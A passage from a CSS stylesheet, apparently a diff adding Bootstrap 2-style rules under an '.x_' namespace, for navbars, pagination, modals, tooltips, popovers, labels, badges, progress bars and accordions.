0 6px 6px} +.x .x_navbar-inverse .x_navbar-inner{background-color:#1b1b1b;background-image:-moz-linear-gradient(top, #222222, #111111);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#222222), to(#111111));background-image:-webkit-linear-gradient(top, #222222, #111111);background-image:-o-linear-gradient(top, #222222, #111111);background-image:linear-gradient(to bottom, #222222, #111111);background-repeat:repeat-x;border-color:#252525;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#222222', endColorstr='#111111', GradientType=0)} +.x .x_navbar-inverse .x_brand, +.x .x_navbar-inverse .x_nav>li>a{color:#999999;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25)} +.x .x_navbar-inverse .x_brand:hover, +.x .x_navbar-inverse .x_nav>li>a:hover{color:#ffffff} +.x .x_navbar-inverse .x_brand{color:#999999} +.x .x_navbar-inverse .x_navbar-text{color:#999999} +.x .x_navbar-inverse .x_nav>li>a:focus, +.x .x_navbar-inverse .x_nav>li>a:hover{color:#ffffff;background-color:transparent} +.x .x_navbar-inverse .x_nav .x_active>a, +.x .x_navbar-inverse .x_nav .x_active>a:hover, +.x .x_navbar-inverse .x_nav .x_active>a:focus{color:#ffffff;background-color:#111111} +.x .x_navbar-inverse .x_navbar-link{color:#999999} +.x .x_navbar-inverse .x_navbar-link:hover{color:#ffffff} +.x .x_navbar-inverse .x_divider-vertical{border-right-color:#222222;border-left-color:#111111} +.x .x_navbar-inverse .x_nav li.x_dropdown.x_open>.x_dropdown-toggle, +.x .x_navbar-inverse .x_nav li.x_dropdown.x_active>.x_dropdown-toggle, +.x .x_navbar-inverse .x_nav li.x_dropdown.x_open.x_active>.x_dropdown-toggle{color:#ffffff;background-color:#111111} +.x .x_navbar-inverse .x_nav li.x_dropdown>a:hover .x_caret{border-top-color:#ffffff;border-bottom-color:#ffffff} +.x .x_navbar-inverse .x_nav li.x_dropdown>.x_dropdown-toggle .x_caret{border-top-color:#999999;border-bottom-color:#999999} +.x .x_navbar-inverse .x_nav li.x_dropdown.x_open>.x_dropdown-toggle .x_caret, +.x .x_navbar-inverse .x_nav li.x_dropdown.x_active>.x_dropdown-toggle .x_caret, +.x .x_navbar-inverse .x_nav li.x_dropdown.x_open.x_active>.x_dropdown-toggle .x_caret{border-top-color:#ffffff;border-bottom-color:#ffffff} +.x .x_navbar-inverse .x_navbar-search .x_search-query{color:#ffffff;background-color:#515151;border-color:#111111;-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px 0 rgba(255, 255, 255, 0.15);-moz-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px 0 rgba(255, 255, 255, 0.15);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1), 0 1px 0 rgba(255, 255, 255, 0.15);-webkit-transition:none;-moz-transition:none;-o-transition:none;transition:none} +.x .x_navbar-inverse .x_navbar-search .x_search-query:-moz-placeholder{color:#cccccc} +.x .x_navbar-inverse .x_navbar-search .x_search-query:-ms-input-placeholder{color:#cccccc} +.x .x_navbar-inverse .x_navbar-search .x_search-query::-webkit-input-placeholder{color:#cccccc} +.x .x_navbar-inverse .x_navbar-search .x_search-query:focus, +.x .x_navbar-inverse .x_navbar-search .x_search-query.x_focused{padding:5px 15px;color:#333333;text-shadow:0 1px 0 #ffffff;background-color:#ffffff;border:0;outline:0;-webkit-box-shadow:0 0 3px rgba(0, 0, 0, 0.15);-moz-box-shadow:0 0 3px rgba(0, 0, 0, 0.15);box-shadow:0 0 3px rgba(0, 0, 0, 0.15)} +.x .x_navbar-inverse .x_btn-navbar{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#0e0e0e;*background-color:#040404;background-image:-moz-linear-gradient(top, #151515, #040404);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#151515), to(#040404));background-image:-webkit-linear-gradient(top, #151515, #040404);background-image:-o-linear-gradient(top, #151515, #040404);background-image:linear-gradient(to bottom, #151515, #040404);background-repeat:repeat-x;border-color:#040404 #040404 #000000;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#151515', endColorstr='#040404', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)} +.x .x_navbar-inverse .x_btn-navbar:hover, +.x .x_navbar-inverse .x_btn-navbar:active, +.x .x_navbar-inverse .x_btn-navbar.x_active, +.x .x_navbar-inverse .x_btn-navbar.x_disabled, +.x .x_navbar-inverse .x_btn-navbar[disabled]{color:#ffffff;background-color:#040404;*background-color:#000000} +.x .x_navbar-inverse .x_btn-navbar:active, +.x .x_navbar-inverse .x_btn-navbar.x_active{background-color:#000000 \9} +.x .x_breadcrumb{padding:8px 15px;margin:0 0 20px;list-style:none;background-color:#f5f5f5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px} +.x .x_breadcrumb>li{display:inline-block;*display:inline;text-shadow:0 1px 0 #ffffff;*zoom:1} +.x .x_breadcrumb>li>.x_divider{padding:0 5px;color:#ccc} +.x .x_breadcrumb>.x_active{color:#999999} +.x .x_pagination{margin:20px 0} +.x .x_pagination ul{display:inline-block;*display:inline;margin-bottom:0;margin-left:0;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;*zoom:1;-webkit-box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);-moz-box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);box-shadow:0 1px 2px rgba(0, 0, 0, 0.05)} +.x .x_pagination ul>li{display:inline} +.x .x_pagination ul>li>a, +.x .x_pagination ul>li>span{float:left;padding:4px 12px;line-height:20px;text-decoration:none;background-color:#ffffff;border:1px solid #dddddd;border-left-width:0} +.x .x_pagination ul>li>a:hover, +.x .x_pagination ul>.x_active>a, +.x .x_pagination ul>.x_active>span{background-color:#f5f5f5} +.x .x_pagination ul>.x_active>a, +.x .x_pagination ul>.x_active>span{color:#999999;cursor:default} +.x .x_pagination ul>.x_disabled>span, +.x .x_pagination ul>.x_disabled>a, +.x .x_pagination ul>.x_disabled>a:hover{color:#999999;cursor:default;background-color:transparent} +.x .x_pagination ul>li:first-child>a, +.x .x_pagination ul>li:first-child>span{border-left-width:1px;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-bottomleft:4px;-moz-border-radius-topleft:4px} +.x .x_pagination ul>li:last-child>a, +.x .x_pagination ul>li:last-child>span{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-moz-border-radius-topright:4px;-moz-border-radius-bottomright:4px} +.x .x_pagination-centered{text-align:center} +.x .x_pagination-right{text-align:right} +.x .x_pagination-large ul>li>a, +.x .x_pagination-large ul>li>span{padding:11px 19px;font-size:17.5px} +.x .x_pagination-large ul>li:first-child>a, +.x .x_pagination-large ul>li:first-child>span{-webkit-border-bottom-left-radius:6px;border-bottom-left-radius:6px;-webkit-border-top-left-radius:6px;border-top-left-radius:6px;-moz-border-radius-bottomleft:6px;-moz-border-radius-topleft:6px} +.x .x_pagination-large ul>li:last-child>a, +.x .x_pagination-large ul>li:last-child>span{-webkit-border-top-right-radius:6px;border-top-right-radius:6px;-webkit-border-bottom-right-radius:6px;border-bottom-right-radius:6px;-moz-border-radius-topright:6px;-moz-border-radius-bottomright:6px} +.x .x_pagination-mini ul>li:first-child>a, +.x .x_pagination-small ul>li:first-child>a, +.x .x_pagination-mini ul>li:first-child>span, +.x .x_pagination-small ul>li:first-child>span{-webkit-border-bottom-left-radius:3px;border-bottom-left-radius:3px;-webkit-border-top-left-radius:3px;border-top-left-radius:3px;-moz-border-radius-bottomleft:3px;-moz-border-radius-topleft:3px} +.x .x_pagination-mini ul>li:last-child>a, +.x .x_pagination-small ul>li:last-child>a, +.x .x_pagination-mini ul>li:last-child>span, +.x .x_pagination-small ul>li:last-child>span{-webkit-border-top-right-radius:3px;border-top-right-radius:3px;-webkit-border-bottom-right-radius:3px;border-bottom-right-radius:3px;-moz-border-radius-topright:3px;-moz-border-radius-bottomright:3px} +.x .x_pagination-small ul>li>a, +.x .x_pagination-small ul>li>span{padding:2px 10px;font-size:11.9px} +.x .x_pagination-mini ul>li>a, +.x .x_pagination-mini ul>li>span{padding:0 6px;font-size:10.5px} +.x .x_pager{margin:20px 0;text-align:center;list-style:none;*zoom:1} +.x .x_pager:before, +.x .x_pager:after{display:table;line-height:0;content:""} +.x .x_pager:after{clear:both} +.x .x_pager li{display:inline} +.x .x_pager li>a, +.x .x_pager li>span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px} +.x .x_pager li>a:hover{text-decoration:none;background-color:#f5f5f5} +.x .x_pager .x_next>a, +.x .x_pager .x_next>span{float:right} +.x .x_pager .x_previous>a, +.x .x_pager .x_previous>span{float:left} +.x .x_pager .x_disabled>a, +.x .x_pager .x_disabled>a:hover, +.x .x_pager .x_disabled>span{color:#999999;cursor:default;background-color:#fff} +.x_modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000000} +.x_modal-backdrop.x_fade{opacity:0} +.x_modal-backdrop, +.x_modal-backdrop.x_fade.x_in{opacity:0.8;filter:alpha(opacity=80)} +.x_modal{position:fixed;top:10%;left:50%;z-index:1050;width:560px;margin-left:-280px;background-color:#ffffff;border:1px solid #999;border:1px solid rgba(0, 0, 0, 0.3);*border:1px solid #999;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;outline:none;-webkit-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);-moz-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box} +.x_modal.x_fade{top:-25%;-webkit-transition:opacity 0.3s linear, top 0.3s ease-out;-moz-transition:opacity 0.3s linear, top 0.3s ease-out;-o-transition:opacity 0.3s linear, top 0.3s ease-out;transition:opacity 0.3s linear, top 0.3s ease-out} +.x_modal.x_fade.x_in{top:10%} +.x .x_modal-header{padding:9px 15px;border-bottom:1px solid #eee} +.x .x_modal-header .x_close{margin-top:2px} +.x .x_modal-header h3{margin:0;line-height:30px} +.x .x_modal-body{position:relative;max-height:400px;padding:15px;overflow-y:auto} +.x .x_modal-form{margin-bottom:0} +.x .x_modal-footer{padding:14px 15px 15px;margin-bottom:0;text-align:right;background-color:#f5f5f5;border-top:1px solid #ddd;-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px;*zoom:1;-webkit-box-shadow:inset 0 1px 0 #ffffff;-moz-box-shadow:inset 0 1px 0 #ffffff;box-shadow:inset 0 1px 0 #ffffff} +.x .x_modal-footer:before, +.x .x_modal-footer:after{display:table;line-height:0;content:""} +.x .x_modal-footer:after{clear:both} +.x .x_modal-footer .x_btn+.x_btn{margin-bottom:0;margin-left:5px} +.x .x_modal-footer .x_btn-group .x_btn+.x_btn{margin-left:-1px} +.x .x_modal-footer .x_btn-block+.x_btn-block{margin-left:0} +.x .x_tooltip{position:absolute;z-index:1030;display:block;padding:5px;font-size:11px;opacity:0;filter:alpha(opacity=0);visibility:visible} +.x .x_tooltip.x_in{opacity:0.8;filter:alpha(opacity=80)} +.x .x_tooltip.x_top{margin-top:-3px} +.x .x_tooltip.x_right{margin-left:3px} +.x .x_tooltip.x_bottom{margin-top:3px} +.x .x_tooltip.x_left{margin-left:-3px} +.x .x_tooltip-inner{max-width:200px;padding:3px 8px;color:#ffffff;text-align:center;text-decoration:none;background-color:#000000;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px} +.x .x_tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid} +.x .x_tooltip.x_top .x_tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-top-color:#000000;border-width:5px 5px 0} +.x .x_tooltip.x_right .x_tooltip-arrow{top:50%;left:0;margin-top:-5px;border-right-color:#000000;border-width:5px 5px 5px 0} +.x .x_tooltip.x_left .x_tooltip-arrow{top:50%;right:0;margin-top:-5px;border-left-color:#000000;border-width:5px 0 5px 5px} +.x .x_tooltip.x_bottom .x_tooltip-arrow{top:0;left:50%;margin-left:-5px;border-bottom-color:#000000;border-width:0 5px 5px} +.x .x_popover{position:absolute;top:0;left:0;z-index:1010;display:none;width:236px;padding:1px;text-align:left;white-space:normal;background-color:#ffffff;border:1px solid #ccc;border:1px solid rgba(0, 0, 0, 0.2);-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);-moz-box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);box-shadow:0 5px 10px rgba(0, 0, 0, 0.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box} +.x .x_popover.x_top{margin-top:-10px} +.x .x_popover.x_right{margin-left:10px} +.x .x_popover.x_bottom{margin-top:10px} +.x .x_popover.x_left{margin-left:-10px} +.x .x_popover-title{padding:8px 14px;margin:0;font-size:14px;font-weight:normal;line-height:18px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;-webkit-border-radius:5px 5px 0 0;-moz-border-radius:5px 5px 0 0;border-radius:5px 5px 0 0} +.x .x_popover-content{padding:9px 14px} +.x .x_popover .x_arrow, +.x .x_popover .x_arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid} +.x .x_popover .x_arrow{border-width:11px} +.x .x_popover .x_arrow:after{border-width:10px;content:""} +.x .x_popover.x_top .x_arrow{bottom:-11px;left:50%;margin-left:-11px;border-top-color:#999;border-top-color:rgba(0, 0, 0, 0.25);border-bottom-width:0} +.x .x_popover.x_top .x_arrow:after{bottom:1px;margin-left:-10px;border-top-color:#ffffff;border-bottom-width:0} +.x .x_popover.x_right .x_arrow{top:50%;left:-11px;margin-top:-11px;border-right-color:#999;border-right-color:rgba(0, 0, 0, 0.25);border-left-width:0} +.x .x_popover.x_right .x_arrow:after{bottom:-10px;left:1px;border-right-color:#ffffff;border-left-width:0} +.x .x_popover.x_bottom .x_arrow{top:-11px;left:50%;margin-left:-11px;border-bottom-color:#999;border-bottom-color:rgba(0, 0, 0, 0.25);border-top-width:0} +.x .x_popover.x_bottom .x_arrow:after{top:1px;margin-left:-10px;border-bottom-color:#ffffff;border-top-width:0} +.x .x_popover.x_left .x_arrow{top:50%;right:-11px;margin-top:-11px;border-left-color:#999;border-left-color:rgba(0, 0, 0, 0.25);border-right-width:0} +.x .x_popover.x_left .x_arrow:after{right:1px;bottom:-10px;border-left-color:#ffffff;border-right-width:0} +.x .x_thumbnails{margin-left:-20px;list-style:none;*zoom:1} +.x .x_thumbnails:before, +.x .x_thumbnails:after{display:table;line-height:0;content:""} +.x .x_thumbnails:after{clear:both} +.x .x_row-fluid .x_thumbnails{margin-left:0} +.x .x_thumbnails>li{float:left;margin-bottom:20px;margin-left:20px} +.x .x_thumbnail{display:block;padding:4px;line-height:20px;border:1px solid #ddd;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:0 1px 3px rgba(0, 0, 0, 0.055);-moz-box-shadow:0 1px 3px rgba(0, 0, 0, 0.055);box-shadow:0 1px 3px rgba(0, 0, 0, 0.055);-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out} +.x a.x_thumbnail:hover{border-color:#0088cc;-webkit-box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);-moz-box-shadow:0 1px 4px rgba(0, 105, 214, 0.25);box-shadow:0 1px 4px rgba(0, 105, 214, 0.25)} +.x .x_thumbnail>img{display:block;max-width:100%;margin-right:auto;margin-left:auto} +.x .x_thumbnail .x_caption{padding:9px;color:#555555} +.x .x_media, +.x .x_media-body{overflow:hidden;*overflow:visible;zoom:1} +.x .x_media, +.x .x_media .x_media{margin-top:15px} +.x .x_media:first-child{margin-top:0} +.x .x_media-object{display:block} +.x .x_media-heading{margin:0 0 5px} +.x .x_media .x_pull-left{margin-right:10px} +.x .x_media .x_pull-right{margin-left:10px} +.x .x_media-list{margin-left:0;list-style:none} +.x .x_label, +.x .x_badge{display:inline-block;padding:2px 4px;font-size:11.844px;font-weight:bold;line-height:14px;color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);white-space:nowrap;vertical-align:baseline;background-color:#999999} +.x .x_label{-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px} +.x .x_badge{padding-right:9px;padding-left:9px;-webkit-border-radius:9px;-moz-border-radius:9px;border-radius:9px} +.x .x_label:empty, +.x .x_badge:empty{display:none} +.x a.x_label:hover, +.x a.x_badge:hover{color:#ffffff;text-decoration:none;cursor:pointer} +.x .x_label-important, +.x .x_badge-important{background-color:#b94a48} +.x .x_label-important[href], +.x .x_badge-important[href]{background-color:#953b39} +.x .x_label-warning, +.x .x_badge-warning{background-color:#f89406} +.x .x_label-warning[href], +.x .x_badge-warning[href]{background-color:#c67605} +.x .x_label-success, +.x .x_badge-success{background-color:#468847} +.x .x_label-success[href], +.x .x_badge-success[href]{background-color:#356635} +.x .x_label-info, +.x .x_badge-info{background-color:#3a87ad} +.x .x_label-info[href], +.x .x_badge-info[href]{background-color:#2d6987} +.x .x_label-inverse, +.x .x_badge-inverse{background-color:#333333} +.x .x_label-inverse[href], +.x .x_badge-inverse[href]{background-color:#1a1a1a} +.x .x_btn .x_label, +.x .x_btn .x_badge{position:relative;top:-1px} +.x .x_btn-mini .x_label, +.x .x_btn-mini .x_badge{top:0} +@-webkit-keyframes progress-bar-stripes{ +from{background-position:40px 0} +to{background-position:0 0} +} +@-moz-keyframes progress-bar-stripes{ +from{background-position:40px 0} +to{background-position:0 0} +} +@-ms-keyframes progress-bar-stripes{ +from{background-position:40px 0} +to{background-position:0 0} +} +@-o-keyframes progress-bar-stripes{ +from{background-position:0 0} +to{background-position:40px 0} +} +@keyframes progress-bar-stripes{ +from{background-position:40px 0} +to{background-position:0 0} +} +.x .x_progress{height:20px;margin-bottom:20px;overflow:hidden;background-color:#f7f7f7;background-image:-moz-linear-gradient(top, #f5f5f5, #f9f9f9);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f9f9f9));background-image:-webkit-linear-gradient(top, #f5f5f5, #f9f9f9);background-image:-o-linear-gradient(top, #f5f5f5, #f9f9f9);background-image:linear-gradient(to bottom, #f5f5f5, #f9f9f9);background-repeat:repeat-x;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f5f5', endColorstr='#f9f9f9', GradientType=0);-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1);-moz-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.1)} +.x .x_progress .x_bar{float:left;width:0;height:100%;font-size:12px;color:#ffffff;text-align:center;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#0e90d2;background-image:-moz-linear-gradient(top, #149bdf, #0480be);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#149bdf), to(#0480be));background-image:-webkit-linear-gradient(top, #149bdf, #0480be);background-image:-o-linear-gradient(top, #149bdf, #0480be);background-image:linear-gradient(to bottom, #149bdf, #0480be);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#149bdf', endColorstr='#0480be', GradientType=0);-webkit-box-shadow:inset 0 -1px 0 rgba(0, 0, 0, 0.15);-moz-box-shadow:inset 0 -1px 0 rgba(0, 0, 0, 0.15);box-shadow:inset 0 -1px 0 rgba(0, 0, 0, 0.15);-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:width 0.6s ease;-moz-transition:width 0.6s ease;-o-transition:width 0.6s ease;transition:width 0.6s ease} +.x .x_progress .x_bar+.x_bar{-webkit-box-shadow:inset 1px 0 0 rgba(0, 0, 0, 0.15), inset 0 -1px 0 rgba(0, 0, 0, 0.15);-moz-box-shadow:inset 1px 0 0 rgba(0, 0, 0, 0.15), inset 0 -1px 0 rgba(0, 0, 0, 0.15);box-shadow:inset 1px 0 0 rgba(0, 0, 0, 0.15), inset 0 -1px 0 rgba(0, 0, 0, 0.15)} +.x .x_progress-striped .x_bar{background-color:#149bdf;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);-webkit-background-size:40px 40px;-moz-background-size:40px 40px;-o-background-size:40px 40px;background-size:40px 40px} +.x .x_progress.x_active .x_bar{-webkit-animation:progress-bar-stripes 2s linear infinite;-moz-animation:progress-bar-stripes 2s linear infinite;-ms-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite} +.x .x_progress-danger .x_bar, +.x .x_progress .x_bar-danger{background-color:#dd514c;background-image:-moz-linear-gradient(top, #ee5f5b, #c43c35);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#c43c35));background-image:-webkit-linear-gradient(top, #ee5f5b, #c43c35);background-image:-o-linear-gradient(top, #ee5f5b, #c43c35);background-image:linear-gradient(to bottom, #ee5f5b, #c43c35);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#c43c35', GradientType=0)} +.x .x_progress-danger.x_progress-striped .x_bar, +.x .x_progress-striped .x_bar-danger{background-color:#ee5f5b;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent)} +.x .x_progress-success .x_bar, +.x .x_progress .x_bar-success{background-color:#5eb95e;background-image:-moz-linear-gradient(top, #62c462, #57a957);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#57a957));background-image:-webkit-linear-gradient(top, #62c462, #57a957);background-image:-o-linear-gradient(top, #62c462, #57a957);background-image:linear-gradient(to bottom, #62c462, #57a957);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462', endColorstr='#57a957', GradientType=0)} +.x .x_progress-success.x_progress-striped .x_bar, +.x .x_progress-striped .x_bar-success{background-color:#62c462;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent)} +.x .x_progress-info .x_bar, +.x .x_progress .x_bar-info{background-color:#4bb1cf;background-image:-moz-linear-gradient(top, #5bc0de, #339bb9);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#339bb9));background-image:-webkit-linear-gradient(top, #5bc0de, #339bb9);background-image:-o-linear-gradient(top, #5bc0de, #339bb9);background-image:linear-gradient(to bottom, #5bc0de, #339bb9);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de', endColorstr='#339bb9', GradientType=0)} +.x .x_progress-info.x_progress-striped .x_bar, +.x .x_progress-striped .x_bar-info{background-color:#5bc0de;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent)} +.x .x_progress-warning .x_bar, +.x .x_progress .x_bar-warning{background-color:#faa732;background-image:-moz-linear-gradient(top, #fbb450, #f89406);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406));background-image:-webkit-linear-gradient(top, #fbb450, #f89406);background-image:-o-linear-gradient(top, #fbb450, #f89406);background-image:linear-gradient(to bottom, #fbb450, #f89406);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fbb450', endColorstr='#f89406', GradientType=0)} +.x .x_progress-warning.x_progress-striped .x_bar, +.x .x_progress-striped .x_bar-warning{background-color:#fbb450;background-image:-webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent));background-image:-webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:-o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);background-image:linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent)} +.x .x_accordion{margin-bottom:20px} +.x .x_accordion-group{margin-bottom:2px;border:1px solid #e5e5e5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px} +.x .x_accordion-heading{border-bottom:0} +.x .x_accordion-heading .x_accordion-toggle{display:block;padding:8px 15px} +.x .x_accordion-toggle{cursor:pointer} +.x .x_accordion-inner{padding:9px 15px;border-top:1px solid #e5e5e5} +.x 